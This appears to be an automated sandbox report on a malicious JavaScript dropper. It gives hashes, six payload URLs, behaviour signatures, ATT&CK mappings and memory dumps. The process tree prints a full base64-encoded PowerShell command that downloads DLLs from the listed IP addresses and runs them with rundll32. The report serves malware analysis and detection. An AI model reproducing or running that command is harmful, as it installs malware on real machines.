026b1ae348a44daf964d7f3271a84c7e7b0f61cf5932f7b07ced258e98f8865d

Analysis

max time kernel
101s
max time network
103s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
16-03-2023 09:09

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General

Target

aN-weyGdf-4734.js
Size

49KB
MD5

110f35fe0979fdc0adca48ccf2bf8567
SHA1

071215a9777e6eae6bec83a3e7a8ab975cc608d7
SHA256

026b1ae348a44daf964d7f3271a84c7e7b0f61cf5932f7b07ced258e98f8865d
SHA512

32f9fd8d63fcd11ffa43732ab4f7f4f3f4e20f502be0349d67f486445bc8505236847fb93f062be5bdc660eb882941296e60015cc6aff5df9c1ffc114df7222c
SSDEEP

768:+G3YgQtUjXN6ktwyjGFnTZOOoYfPxpmdUJRF+nS9ITetKfuTX6LGUwDJoHnE84/L:/ngowFnTEOoYfjvho7Hnn21T

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://198.44.132.63/nCePgMjGvyZW.dat

exe.dropper

http://87.236.146.84/C0fB6OJKc.dat

exe.dropper

http://139.180.170.206/NvXo4Oo4Rh.dat

exe.dropper

http://128.254.207.26/4qgi7k.dat

exe.dropper

http://206.53.48.51/6K2WKcT1gN.dat

exe.dropper

http://94.131.115.19/sw2XwiFns.dat

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
1	3968	powershell.exe
3	3968	powershell.exe
5	3968	powershell.exe
8	3968	powershell.exe
9	3968	powershell.exe
13	3968	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3968	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 3968	2908	wscript.exe	66
PID 2908 wrote to memory of 3968	2908	wscript.exe	66

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\aN-weyGdf-4734.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQATQBvAG4AbwBuAHUAYwBsAGUAYQByACAAPQAgACgAIgBoAHQAdABwADoALwAvADEAOQA4AC4ANAA0AC4AMQAzADIALgA2ADMALwBuAEMAZQBQAGcATQBqAEcAdgB5AFoAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4AOAA0AC8AQwAwAGYAQgA2AE8ASgBLAGMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQAzADkALgAxADgAMAAuADEANwAwAC4AMgAwADYALwBOAHYAWABvADQATwBvADQAUgBoAC4AZABhAHQALABoAHQAdABwADoALwAvADEAMgA4AC4AMgA1ADQALgAyADAANwAuADIANgAvADQAcQBnAGkANwBrAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4ANQAxAC8ANgBLADIAVwBLAGMAVAAxAGcATgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA1AC4AMQA5AC8AcwB3ADIAWAB3AGkARgBuAHMALgBkAGEAdAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJAB3AGEAcgBkAGkAdABlAFMAdABhAGMAawBhAGcAZQAgAGkAbgAgACQATQBvAG4AbwBuAHUAYwBsAGUAYQByACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAHcAYQByAGQAaQB0AGUAUwB0AGEAYwBrAGEAZwBlACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA1ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABuAGUAcABoAHIAbwBsAHkAdABpAGMAUwBhAHQAdQByAGQAYQB5AC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABuAGUAcABoAHIAbwBsAHkAdABpAGMAUwBhAHQAdQByAGQAYQB5AC4AZABsAGwAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAbgBlAHAAaAByAG8AbAB5AHQAaQBjAFMAYQB0AHUAcgBkAGEAeQAuAGQAbABsACwAWABTADgAOAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAOwB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_celquafl.fhm.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3968-124-0x000001CCF97A0000-0x000001CCF97B0000-memory.dmp

Filesize
64KB

Download
memory/3968-127-0x000001CCF9720000-0x000001CCF9742000-memory.dmp

Filesize
136KB

Download
memory/3968-132-0x000001CCFBA60000-0x000001CCFBAD6000-memory.dmp

Filesize
472KB

Download
memory/3968-147-0x000001CCF97A0000-0x000001CCF97B0000-memory.dmp

Filesize
64KB

Download
memory/3968-148-0x000001CCF97A0000-0x000001CCF97B0000-memory.dmp

Filesize
64KB

Download
memory/3968-155-0x000001CCFC7F0000-0x000001CCFCF96000-memory.dmp

Filesize
7.6MB

Download
memory/3968-167-0x000001CCF97A0000-0x000001CCF97B0000-memory.dmp

Filesize
64KB

Download
memory/3968-168-0x000001CCF97A0000-0x000001CCF97B0000-memory.dmp

Filesize
64KB

Download
memory/3968-169-0x000001CCF97A0000-0x000001CCF97B0000-memory.dmp

Filesize
64KB

Download